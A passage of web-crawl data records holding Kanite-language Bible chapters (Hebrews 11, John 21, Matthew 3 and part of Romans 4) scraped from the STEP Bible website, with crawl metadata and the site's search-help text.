0.9999849796295166}","num_words":618,"character_repetition_ratio":0.042,"word_repetition_ratio":0.02,"special_characters_ratio":0.162,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Hebrews 11\nÁánútun-aaiyavai áraire sésa kwenkáꞋá agevamái máyáan-ankona kwaasái.1 Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái máyáan-amba maarán-ámbán-iye. Áánútu toꞋmayaa uráin-tantaataveta séta árai-tantaaꞋan-iye séta amuꞋmaréta méta súrandeiyaamo ímo awánaraunda-yantaataveta séta áraiꞋa kwáyáiye kwésune. 2 kentáá síkwáꞋnáma Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái asiramái máyóntavena Áánútu séna kaweꞋán-owe siráiye.\n3 naaóváꞋá Áánútu séna kwíyómba maramá paáruwo súwana paárúwata mináíntávéta áraire kwéseta kwéisaumne. ímo awánáúnda-yantaapinken-tantaaꞋnei awánáúnda-yantaaꞋa Áánútu taróruraiye.\n4 naaóváꞋá moóráwai áwíꞋa Épeo Áánútun-aaiyavena áraire séna póí tuvúꞋmái agaimái Áánútumba ámakowana awaaó áwíꞋa Kááini kwemá toómbá ákáꞋmai Áánútumba amúwana Épeo Áánútumo sirónteniꞋo úntavena Kááinimo ámakowaimba usáyaaitaraiye. Épeo Áánútun-aaiyavena áraire séna kwenkáꞋá agevamái máyontavena Áánútu ámakon-tantaaꞋa awánéna kaweꞋán-iye séna kwembá awánéna arupí umái máyaandawai óne siráiye. naaóváꞋá Épeo pukówasa kwentávésa sésa Áánútun-aaiyavena áraire séna kwenkáꞋá agevamái máyon-kwaasiman-iye kwésewata ísámaeta kwéiyumne.\n5 naaóváꞋá moóráwai áwíꞋa Ínóki Áánútun-aaiyavena áraire séna kwenkáꞋá agevamái máyontavena Áánútu púwivo séna kunáíꞋmaena kwíyómpaꞋa móankarowasa avakáá uwááesa túwómbanivo Áánútumo áíkomba íma awánaraawe. Ínókimba Áánútumo ímo kunáíkonkaꞋa marapáꞋó máyonkaꞋa moóráwai Ínókin-aai aúváí-kwandaaivimba agaimaréna séna Áánútuma aamoí ínkwáe-iꞋa úmae iráiye agaimaréna siráin-aintaveta séta Ínóki Áánútun-aaiyavena áraire séna kwenkáꞋá agevamái méraiye kwésune. 6 ÁánútunopaꞋo kwétewai Áánútu ména kwembó avakáá ónááon-kwaasi kaweꞋá umátínkáin-aintavesa aivaꞋá sésa árair-aimban-iye sésa kwenópaꞋa kwétewe. ímo árair-aimban-iyemo sésamo ésa íma kwenópaꞋa ténááowe. miráumai Áánútun-aaiyavesamo ímo áraire sésamo kwenkáꞋó ímo agevamáímo máyáawai Áánútu íma aamoí umátinkaniye.\n7 naaóváꞋá Áánútu Nówaamba naaémbo nonkó tuwaaténa kwaási tínkaminiye-aimba simámuwana iséna séna áraire séna non-avóvomayaapaꞋo kwínín-damba úmarena kwená aarai-íyámpóíye kwenanáávúꞋmaare umáyówana nonkó miwí íma nawíkaraiye. Nówaa Áánútun-aaiyavena áraire súntavena Áánútu Nówantavena séna arupí umái máyaane súwana Áánútumo marapá-kwáásímó sáwí-meyambo timínín-aimba iséna simátímakaiye.\n8 naaóváꞋá Áánútu Ááváramuntavena séna ená maramá tuwé aménaunda-maravaꞋa kwaaó súwana áraire séna kwená maramá tuwéna ímo awánarom-baravaꞋa Áánútumo amúpaꞋa kuréna 9 Áánútumo aménaumne siróm-baravaꞋa koména mináíntávéna áraire séna óꞋom-baravaken-kwaasigoraamba kwááyu-namba úmarena méraiye. mimbárá Ááváramuntavenamo siróntemba ááninko Áísákaante anówainko YákóponteyavenagwaraꞋa timénaumne siróm-baravaꞋa Ááváramu-iyaise mésaya kwááyu-namba úmaresaya méraawe. 10 Ááváramu miráumai ména moórá-naopatavena imáyáa éna Áánútumo kwíyómpaꞋo toꞋmayaa úmakain-daopaꞋa asirayán-ávómbá kwaíkwaiꞋa ínín-daopatavena imáyáa éna amuꞋmaréna méraiye.\n11 Ááváramu awainínkó áwíꞋa Séraa Áánútun-aaiyavena áraire siráiye. Áánútu simámena séna iyámpói ankáníyone súwana áraiꞋa kwemó sinteníꞋa owáímán-iye séna iyámpóímo ankánaunda-kanaa ánásaraiye séna íma imáyáa éna asirayámbá maéna ámúꞋa kauréna iyámpói ánkaraiye. 12 miráumai Ááváramu iyámpói ankómba anónuꞋmai kómpinkemba sáwíva-kwaasi aísaavutantamba ónááowaiyavena kwíyómpaꞋo oꞋó sáwívaꞋo kwáísanamo nompáꞋó nonáámááímo sáwívaꞋo kwáyáintemba mirán-kwáásí uwasá íma kanaán-umai táámparaawe.\n13 maanáúváívímbó túwíꞋo agaimakáunda-kwaasi Áánútun-aaiyavesa áraire símae kwéiyesa kwenkáꞋá agevamái maivá kwéiyesa pukáawe. Áánútu asiramái séna mirá umátinkanaumnemo siráin-tantaaꞋa íma máyómba némpaꞋa kwáyowasa úwoi aaí isésa aamoí ésa sésa marapátáámó máyaundaya óꞋom-baravaken-kwaasiraamba umáíya sáwíyankaꞋa ménaumne símae kwéiyesa pukáawe. 14 mirán-áímbó kwésen-kwaasi miwítí mara-úrapaꞋa imáyáa kwéuwata ísaraumne. 15 miwímó tukóm-barayavesamo imáyáamo urésaraai koyauweránááon-amba kwáyomba pósa awánaraasino. 16 íma mirá ésa kwíyómpaꞋo usáyaaitarain-ayampaꞋa imáyáa uráawe. mindáyavena Áánútu aamoí éna séna kesí kwaásiman-owe séna póna miwítí maruꞋá toꞋmayaa uráiye.\n17 Áánútu Ááváramuntavena asiramái séna enááninko Áísákaampinkemba enaísaavutantambo ónááowai paáronaaowe siréna naaémba moórá-aimba áísaa umai isánáe séna enáánimba Áísákaamba tuvú-simiyo súwana Ááváramu séna Áánútu simásimena séna enááninko Áísákaampinkemba enaísaavutantamba ónááowe siráimba áraiꞋa miráumai paárumasinkaniye séna Áísákaa mimbórá-íyámpóí úwana íma tátorena áíꞋmaena tuvuwíndayavena kwéena 19 imáyáa éna séna Áánútu kanaán-umai puwíndavinkemba usásinankaniye séna tuvuwíndayavena úwana Áánútu séna étuwaao súwana ivátuwena ááninkomba inkamúwana puwóntenkaaniꞋa kwéumpinkemba áíkaiye.\n20 Áísákaa Áánútun-aaiyavena áraire siróntavena Áánútumo naaémbo paárinin-tantaatavenamo sirón-aintavena ááninkai Yákóponte Ísonte kwaaróꞋá tumátínkaraiye. 21 naaémba Yákópo anónuꞋmai kéna puwíndayavena kwéena tááúnkaꞋa tátorena kívaena Áánútun-aaiyavena áraire siróntavena Áánútuna imáyáa mósá maréna naaémbo paárinin-tantaatavenamo sirón-aintavena Yósépi ááninkai kwaaróꞋá tumátínkaraiye. 22 naaémba Yósépi anónuꞋmai kéna puwíndayavena kwéena Áánútun-aaiyavena áraire siróntavena simátimena séna Áánútu kentáásí kwaási Ísareri-kwaasi Ísípi-maravakemba ayúꞋmai tíꞋmaena kentáásí maraváꞋá mótinkaindaraꞋa kesiyáántámba maimaésa máútaaro Yósépi siráiye.\n23 naaémba Mósesi anóvowi kwembá ánkaresarai awánésarai kawer-íyámpóímán-iye sésarai Áánútun-aaiyavesarai áraire sésarai kwenkáꞋá agevamái máyóyantavesarai Ísípi-maravaken-anon-kwaasigo iyámpóíyomba tínkantuwaaromo sirón-aintavesarai íma táátavai uyambá mináímbá karésarai Mósesimba aúpáꞋá ánkaroyana kaumbo-kwíyómbá ánásowana minánón-kwáásígó ayáámúnko áíꞋmaena kwená naaúmpaꞋa móankarowana 24 naaémba Mósesi anón-úwasa awánésa sésa Ísípivaken-anon-kwaasigo ayáámúnko ááninkoman-iye kwésuwana Mósesi Áánútun-aaiyavena áraire séna kwenkáꞋá agevamái máyontavena mirámó sun-áímbá ánaaemba umátimena séna kemá íma kwenáánimba úne siráiye. 25 Ísípivaken-kwaasi sáwívar-oisamba marésa sáwíꞋo kwéontavesa aamoí kwéumba Mósesi ááémo ánásanin-tantaatavena íma arááíma kwétowana séna umbai-yántááꞋó siménááombo éna kanaán-iye séna Áánútuna kwaási kwená kwaási póna máyón-ayampaꞋa koména 26 imáyáa éna séna Áánútu kentááyávéna tiráníwaine séna usásinankaraiwaina mayáí mayánaunda póna umbai-yántááꞋó kempáꞋó tínímba minánkó Ísípi-kwaasiti sáwívar-oisamba mayánaunda-ankomba usáyaaitaraiye séna Áánútuma kaweꞋ-méyámbá simíníye-imayaa éna mirá uráiye.\n27 naaémba Mósesi Ísípi-maravaꞋa tuwéꞋa kónaumne sirónkaꞋa anón-kwaasi áwááꞋa áúwana Áánútun-aaiyavena áraire siróntavena kwenáároi íma inkaiséna úwoi kówéna Áánútumba íma túrandei awánarowaimba imáyáavinkemba awánarontavena úwoi kóuraiye. 28 naaémba ÍsípivaꞋa Áánútuna kwayóꞋnákó kwíyómpakewai moórá-mora-naumpimpakemba aivar-íyámpóí tínkamindayavena kwéuwana Mósesi Áánútun-aaiyavena áraire siróntavena Ísareri-kwaasiti aivar-íyámpóí íma tínkaminkwae séna Ísareri-kwaasiyavena póí tuvukéꞋa ááto-tairaꞋa naaemá péꞋmareꞋa mimpóí kemá naaró súwasa mirá uráawe. mindáyavesa áwíꞋa tésa páásova-tanone siráamba mindá tíyótaasa-tanone siráawe.\n29 naaémba Ísípi-maravaꞋa Ísareri-kwaasi tuwésa tésa anón-donko áwíꞋa naae-nóné supaꞋá tésa Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái máyóntavena mindónkó tuwínkaaꞋa úwasa nonáámááíravamba táatowasa Ísípivaken-kwaasi kwaꞋmaésa tésa mindómpímbá tuwaná mindónkó kunátawisena minkwáásí tínkantasaraiye.\n30 naaémba Ísareri-kwaasi sésa Yéríko-naopaken-kwaasi kotínkantuweta mimbáráváꞋá koménae sésa kumbá Áánútu mirán-oro sirómba áraire siróntavesa mindáóꞋa óntandeimo iíꞋo úmakopaꞋa kóukuyauku uwááesa tóyo eémesa avaꞋmoraéraꞋa mirá ésa avakaetégomba komirá uwaná kweyááríkaꞋa miníꞋá tawísímaena marapáꞋá kumúwasa Yéríko-kwaasi tínkantuwesa koméraawe. 31 Ísareri-kwaasi Yéríko-naopaꞋa íma kurónkaꞋa kaeꞋnárai tiꞋmárówasarai mindáópaꞋa kotivúntamai awánayae sésarai kuyambá moórá-ininko áwíꞋa ÁréꞋapi eénánkáꞋá nááún-ininkona naaúmpaꞋa kuyaná Áánútun-aaiyavena áraire séna minkáéꞋnárai aúpáꞋá tiyuwówasarai tirááiye. Ísareri-kwaasi Yéríko-naoapaken-kwaasi kotínkantuweꞋa koménae sésa kurónkaꞋa Yéríko-kwaasi Áánútun-aaiyavesa íma áraire sirówai tínkamesa ÁréꞋapi Áánútun-aaiyavena áraire sirón-inimba íma inkánkaawe.\n32 amáparawai tááimo agáyáanda ayáátáár-aimba imbá póꞋa amáparawai táái íma agayánaumne. miwí túwíꞋa Kítíyono úwana Péréke úwana Sámúsoni úwana Yépeta úwana Tévíti úwana Sámúwéri úwasa Áánútun-aai simátímakowaiye miráumai-kwaasi ésa 33 Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái máyóntavesa pósa miwívínkémbá évakarawai namuro-kwáásí usáyaaitesa arupí umái miwítí kwaásiraꞋa kárákwiyesa Áánútumo asiramáímo séna mirámó ónaumnemo siróntemba umái máyówana Áánútu aváár-íyán-tóikaꞋa awáá urówana íma vówasa mésa 34 miwívínkémbá évakarawai anóniꞋa pisíntukowasa miwítí namuro-kwáásí tínkamonae suwaná Áánútu tíyótinkowasa kaweꞋá umái mésa íma asiramái máyówana Áánútu asiramátinkowasa mésa miwítí namuro-kwáásí tínkantuwesa méraawe. 35 évakar-inimba Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái máyontavena miwí timááraamo pukómpinkemba Áánútu usásintinkaraiye.\nnamuro-kwáásí évakarawai tátoresa sésa Áánútumbo tínaaembo umámiyataamo éta íya tínkameta étinkanaumpo Áánútumbo tínaaembo ímo umámiyataamo éta tínkamonaumne suwasá Áánútumba íma sínaaemba umámenaumne sésa imáyáa ésa púwónana Áánútu súwaꞋnaa ínata kwíyómpata maíꞋmaita ónaumne suwasá tíꞋa úniꞋa umátínkówasa pukáawe. 36 Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái máyóntavesa miwítí namuro-kwáásí évakarawaiyavesa tuwíráái sésa tínkambae kwéiyesa évakaꞋa tíyayaankaꞋa asááumai tíꞋmaesa ándávaꞋa mágwétiyuwesa 37 évakarawai óntandei tínkamuwasa púwúwasa évakaꞋa maánkááraꞋnei taasaꞋnaasá kwéumasuwesa évakaꞋa taánasatanei túvimba airaꞋnaará kwéuwasa kwévuwuwasa évakarawai íma kawer-únánkwátói urésa sipisípi-ayau-unankwatoi uwasá évakaꞋa méme-ayau-unankwatoi urésa íma kaweꞋ-náúmpímpáꞋá kwégwaesa úwoivimpaꞋa kogwáísagwai ésa íma toómbá makówasa sáwíꞋa umátinkesa umbai-yántááríꞋa umátinkesa 38 kawe-kwáásí-íꞋa umái máyóntavesa tiꞋmátuwowasa kówésa kwaásimo ímo máyópaꞋa kwénaaesa omápaꞋa mésa maipíné muri-áívíné kwaésa miráumai mésa kawe-kwáásímá pósa sáwíꞋo umátínkówaivimba íma máúmba keyááraꞋa maémáéwe.\n39 mirán-kwáásí Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái máyóntavena Áánútu séna kaweꞋán-owe siráivo marapáꞋá máyónkaꞋa Áánútumo mirá umátinkanaumnemo siráin-tantaaꞋa íma awánowana 40 Áánútu miwíyávéna amuꞋmáráaro séna naaémbo keséyaamo ménaaon-kwaasiyavena imáyáa éna kawer-ámbá kentááwé miwíyé kasenkuíꞋa umásinkanin-anta kwisínkaraiye. mindáyavesa marapáꞋó máyónkaꞋa íma awánaraawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Heb.11","date":"2018-04-19T17:34:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937015.7\/warc\/CC-MAIN-20180419165443-20180419185443-00558.warc.gz","language":"kze","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.000002384185791}","num_words":1253,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"John 21\navakaeté-kwaasima Ísumba awánaraan-kwasai.1 naaémba Táípíriyasi-kwaaunkon-awampaꞋa Ísu miráumai paárúwasa kwená kwayó-kwáásí awánaraawe. 2 kwená kwayó-kwáásí torupésa miwí túwíꞋa Sáímoni Pítaawe Tómáasi kwááyu-awiꞋa ávárawaawe moóráwai Káríri-ayampakemba Kéna-naopaken-kwaasi áwíꞋa Nátáníyowe Sépéti ááninkaiye óꞋon-kae-kwaasiye miráumai-kwaasi torupówana 3 Sáímoni Pítaa simátimena séna noyááꞋa kotoránáeꞋa kúne súwasa kesáágwaraꞋa montá kónáeta kwéune sésa nompí-sípívímbá usámaaisesa kumbá noꞋwáámba noyááramai kwima-kwimar-umbá íma noyááꞋa torówana 4 irataróꞋa Ísu nonawámpáꞋá máyowasa íma aúyowana 5 Ísu séna iyámpóíyono. noyááꞋa tokááo súwasa ímaniye suwaná 6 Ísu séna kwase-únámbá tiyáánúrapar-ayampaꞋa nompímbá túwéwana kumínaꞋa noyááꞋa asínáaro súwasa kwemó súnten-umai sáwívaꞋ-noyaaꞋa asínówana mindómpí-sípívímbá íma kanaán-umai márááraꞋnaraa éna ógwitowaꞋa 7 kemá PítaantaveꞋa séꞋa epínda Ísóigoman-iye séwánana Pítaa mináímbá iséna mayáímó mayáíndayavena paákákén-únánkwátói ayúꞋmaromba minúnánkwátói maimái úmaena nompí-sípí tuwéna nompímbá ásávena nonáámááívaꞋa kúwana 8 nonáámááí egwaaꞋá kwáyowata óꞋon-kwaasiya mindómpí-sípí maimaéta kwase-únámbá tavisímaeta kówándaya 9 nonáámááívaꞋa ásávaawandaya iramá kwégowana noyáákwara toónkwáráꞋá kwéagayowata awánaawananaya 10 Ísu séna tóráan-doyaaꞋa évakaꞋa maimaéꞋa teró súwana 11 Sáímoni Pítaa nompí-sípívímbá usámaaisena kwase-únámbá tavisímaena nonáámááívaꞋa mámarowana anón-doyaaꞋa 153 noyááꞋa kwéna sáwívaꞋ-noyaaꞋa kwáyombanivo kwase-únámbá íma tararówana tavisímaena nonáámááívaꞋa mámarowana 12 Ísu simásimenaya séna tamandaaró súwata nááwaꞋono séta áísaa ónáe séta ówándaya íma áísaa eta Ísóigoma iyé-ímáyáámá ówánanaya 13 Ísu noyáákwara toónkwáráꞋá maimái símakaintaawe. 14 Ísu pukómpinkemba usásinomba kaekáꞋá paárúmba ívékwarakaamba paárúwata awánaraundayaawe.\nÍsu Pítaantavena kesí kwaásiraꞋa taviyiyó siráin-kwasai.15 toómbá násuwowana Ísuma Sáímoni Pítaantavena séna Yóni ááninko Sáímoniyo. miwímá usáyaaitewa enarumbá kwésimeno súwana owé Ísóigoo ená imáyáamo umánkaunda áꞋa suwánaraane súwana Ísu séna kesí sipisípi-araakaꞋa taviyiyó séna 16 ókwaraꞋa Ísu áísaa ena séna Yóni ááninko Sáímoniyo. kesí imáyáama kwéono súwana owé Ísóigoo ená imáyáamo umánkaunda áꞋa suwánaraane súwana Ísu séna kesí sipisípiraꞋa taviyiyó séna 17 kaumboráꞋá Ísu áísaa ena séna Yóni ááninko Sáímoniyo. kesí imáyáama kwéono súwana kaumboráꞋá áísaa ena súntavena Pítaa arumbá umbaí tówana séna Ísóigoo amápa-tantaaꞋa áꞋa awánaraandayavai ená imáyáamo umánkaundagwaraꞋa áꞋa suwánaraane súwana Ísu séna kesí sipisípiraꞋa taviyiyó. 18 áraiꞋa simámeꞋa séꞋa emá aú-kwaasima máyaanda po ená unáánkwátói aneꞋmaké ená imáyáavinkemba úwoi kwénaaempo anónuꞋmai kéma enayáámba árútuwenasa ímo embó arááímo táíndavaꞋa máankanaaowe Ísu séna 19 mináímbó súmba Pítaamo miráumai taairaꞋá puwéna mindá Áánútu áwíꞋa mósá maráníye séna Pítaantavena séna kesirááíma kwaraaó siráiye.\nÍsunte Yóninte mindáraiti kwaásai.20 Ísu Pítaantavena simásuwowana Pítaa kogwanténa moóráwaimba awánarai. ááéma toómbá narópaꞋa Ísun-aókáꞋá ména séna Ísóigoo nááwa ená kuntaru-kwáásí íníyo siráiwaimba 21 Pítaa kogwanténa awánéna Ísuntavena áísaa ena séna Ísóigoo minkwáásíndó súwana 22 Ísu séna kemó súndamo éꞋo éꞋa kwemó éna úwoi maambárárá máyainaꞋa kemá kumónaumnemo súndamo énamo éna íma endéín-ivo kendéímán-iye. emá kesirááíma kwaraaó Ísu súwasa 23 kwená kwayó-kwáásí íma kaweꞋá umái ísónkakemba sésa kwemá íma puwíníye sésa simátímaꞋmae kuwaná kwemá íma puwíníye Ísu íma mirá siráimbanivo kwemó éna úwoi máyainaꞋa kemó kumónaumnemo súndamo énamo éna íma endéín-iye Ísu siráiye.\n24 íma puwíníyemo siráan-kwaasi kemá Yóni úne. mináímbá kwésimatimatuweꞋa aúváívimba kwéagaisuwaunda mináímbá árair-aimban-iye. 25 Ísumo mairáim-bayaima évakaꞋa agaéꞋa évakaꞋa íma agairáunda póꞋa amápaꞋo agaisuwéꞋo éꞋa maranéí káátamaranaumpo náávara maránaumno séꞋa súne.\nkemá Yóni súnda-aimba ánásaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.21","date":"2018-04-26T13:39:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948214.37\/warc\/CC-MAIN-20180426125104-20180426145104-00207.warc.gz","language":"kze","language_score":0.9999347925,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999347925186157}","num_words":607,"character_repetition_ratio":0.048,"word_repetition_ratio":0.017,"special_characters_ratio":0.162,"stopwords_ratio":0.157,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Matthew 3\nYóni simátímakarain-kwasai.1 minkánáávímbá moóráwai áwíꞋa Yóni ména nombá pétinkowai póna Yútiyaa-maravaꞋa kúmba kavóná-maravaꞋa koména simátimena séna 2 Áánútu kwená kwaási kawááimba ááimba kwéasaivo kentí sáwí-imayaa tuwéꞋa ÁánútumpaꞋa teró simátímaꞋmae iráiye. 3 naaóváꞋá Yóni íma máyonkaꞋa Áánútun-aai simátímakowai áwíꞋa Áísáya Yónimo paárinintavena imáyáa éna agaimaréna séna\n- moóráwai kavóná-maravaꞋa ména aayamáírakemba séna Ísóigona aambá kwirankánááomba kwená aambá arupí íyana minámpáꞋá kwíno\n4 Yóni póígo áwíꞋa káámeri kwená áyáú-kwatoi iréna aúwarasinei ámúranda uréna aꞋnóríné kwantáámíkóná aúwé mintóné suꞋmai kwénena 5 aaí simátímaꞋmae iyúwasa Yérúsaremu-naopaken-kwaasiye Yútiyaa-ayampaken-kwaasiye Yóntáni-nonkona menávápákéné maanávápákén-kwáásíyé miráumai kwaási tóyo ésa 6 sáwíꞋo uráamba paárumai avoraꞋá simámúwana Yóni Yóntáni-nompimba nombá pétinkaraiye.\n7 Yóni nombá pétinkena awánómba ámáán-kawaa-kwaasiye Sátúsi-monor-aimbo sun-kwáásíyé sáwívaꞋa nombó pétinkanintavesa kwenópaꞋa tóyo uwaná simátimena séna iyánkó póígon-araaꞋan-owe. Áánútu kentí sáwí-meyamba timínívo nááwa simátímísara iséra inkaiséra kwéteo. 8 kentí sáwí-mayai tuwéꞋo ÁánútumpaꞋo téꞋo éꞋa kaweꞋ-máyáí máyéwaꞋa tuwánanaumne. 9 Ááváramu kentáá síkwáꞋná imbá póta Áánútuna kawe-kwáásíyá úne séꞋa mirán-ímáyáá íma oró. Áánútu Ááváramu aísaavutantamba ónááowe sénaraankasi maanóntámpínkémbá kanaám-poꞋa kwaási aúráaro sisaꞋá aúráasino. Ááváramu aísaavutantamba uráundawai póta kawe-kwáásíyá úne séꞋa mirán-ímáyáá íma oró. 10 íma kawer-árámbá íyain-taima ááimpimba kwéayaisuwesa iravímbó agaisúwáantemba Áánútu miráumai kentí sáwí-meyamba timíníye Yóni siráiye.\n11 Yóni simásuwena séna kentí sáwí-imayaa tuwéꞋa ÁánútumpaꞋa tewáí nombá kwévetinkaundanivo kesínaaemba tíníwai Áánútun-amankomba aiꞋmaráínana kuména keinárawapimba anómba umátinkaniye. iramó agáyáantemba íníye. kwemá anóndakoma kembá usáyaaitaraimba póꞋa kwemó aaimó síndavimba kemá aaimá sendamá uwóvíꞋa ónaumne. 12 aawinkwínaumo sípétivimbo mósá makésamo iyaavumásúwááwanamo anómbo marapáꞋó kúmísanamo ásima úndáomo tútúwaisasamo kaíkaiꞋo ínín-iravimbo kwiyúmaimo agaisuwésamo anómbo naaúmpaꞋo mósá máráantemba kwaási miráráámbá íníye Yóni siráiye.\nÍsumba nombá pérankarain-kwasai.13 minkánáá Ísu Káríri-ayampakemba Yóntáni-nompaꞋa téna Yóni nombá pésinkainkwae séna túwana 14 Yóni séna ímanivo emó nombó pésinkaniyonda kanaán-ivo kentáváí se nombá pésinkaao kwésene súwana 15 Ísu séna ivátuke súndantemba mirá uwo. mirámó ékaimo ékai Áánútu siráiniꞋa óyauye súwana owé séna 16 nombá pérankowana nompínkémbá usásinowana sokón-tawaai taaínkaar-úwana Yóni awánómba Áánútun-amanko mááiraamba úmaena Ísu aneꞋá kumbáyowana 17 aaigówé suꞋmai kwíyómpakemba séna maawámá kesáánimba isaꞋá kwená imáyáa kwéeꞋa ávááraumai aamoí umánkaumne siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.3","date":"2018-04-23T00:08:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945668.34\/warc\/CC-MAIN-20180422232447-20180423012447-00384.warc.gz","language":"kze","language_score":0.9996341467,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9996341466903687}","num_words":467,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Romans 4\nÁáváramu Áánútun-aaiyavai áraire siróntavai arupí umái máyáane Áánútu siráin-kwasai.1 Ááváramu Yútaa-kwaasiya síkwáꞋnáma kwenááimo simátíménda ísáaro. 2 Áánútun-aai aúváívimba agaimaréna séna\nÁáváramu Áánútun-aaiyavena áraire siróntavena\nÁánútu séna arupí umái máyaane siráiye\nagaimaréna siráiye. Ááváramuna kaweꞋ-máyáíyávénamo Áánútumo sénamo arupí umái máyaane siráinkakai Ááváramumo kwená mayáíyávénamo áúma maéna iyúmba kwáísino. Ááváramu Áánútun-aaiyavena áraire siróntavena Áánútu séna arupí umái máyáane siráimba mindáyavena Áánútu aúrankaꞋa Ááváramu áúma maéna iyúmba íma kwáyombaniye.\n4 moórá-aimba ísáaro. moóráwaina mayáí kwémayaawana meéyámbó kwétimimba íma úwoi kwétimivo miwítí mayáí awánéna meéyámbá kwétimiye. 5 maarán-áímbá árair-aimban-iye. kaweꞋ-máyáí kwémayaundayavena arupí umái máyáawe-aimba Áánútu íma kwésivo Áánútun-aaiyaveta áraire kwésundayavenaya Áánútu séna arupí umái máyáawe kwésiye. sáwíꞋo uráundayaamo arupí kwéumasinkainta Áánútuman-iye. 6 Áánútu kaweꞋ-máyáímó mairáantavena íma imáyáa éna Áánútun-aaiyavesa áraire siráantavena imáyáa éna arupí umátínkáiwai miwí tirunkó kaweꞋá kwéiye. mináíntávéna naaóváꞋá Tévíti aúváívimba agaimaréna séna\n7 Áánútu sáwíꞋo uráawaiti sáwí-imayaa maitiyuwéna íma imáyáa úmae íyísana tirunkó kaweꞋá kwéiye. 8 sáwíꞋo uráawai Áánútu íma imáyáa úmae íyísana tirunkó kaweꞋá kwéiye\nagaimaréna siráiye.\n9 mináímbá túraꞋo kárámaimo araaꞋénamo uráawai Yútaa-kwaasiyavenawe suꞋmai íma séna ímo túraꞋo kárámaimo araaꞋénamo uráawaiyavenagwaraꞋa Tévíti séna miwítí sáwí-imayaagwaraꞋa maitiyúwáísana tirunkó kaweꞋá kwéiye-aimba siráiye. óꞋomba mináímbá séꞋa Áánútun-aai aúváívimba agaimaréna séna\nÁáváramu Áánútun-aaiyavena áraire siróntavena Áánútu séna arupí umái máyaane siráiye\nagaimaréna siráiye. 10 Ááváramu áúraꞋa íma kárámai araaꞋéna urónkaꞋa Áánútu kwentávéna séna arupí umái máyaane séna 11 Áánútun-aaiyavena áraire siróntavena arupí umái máyaandawai ómpo enáúraꞋa kárámai araaꞋéna uwó súwana mirá uráiye. miráumai túraꞋo ímo kárámaimo araaꞋénamo uráawaigwaraꞋa 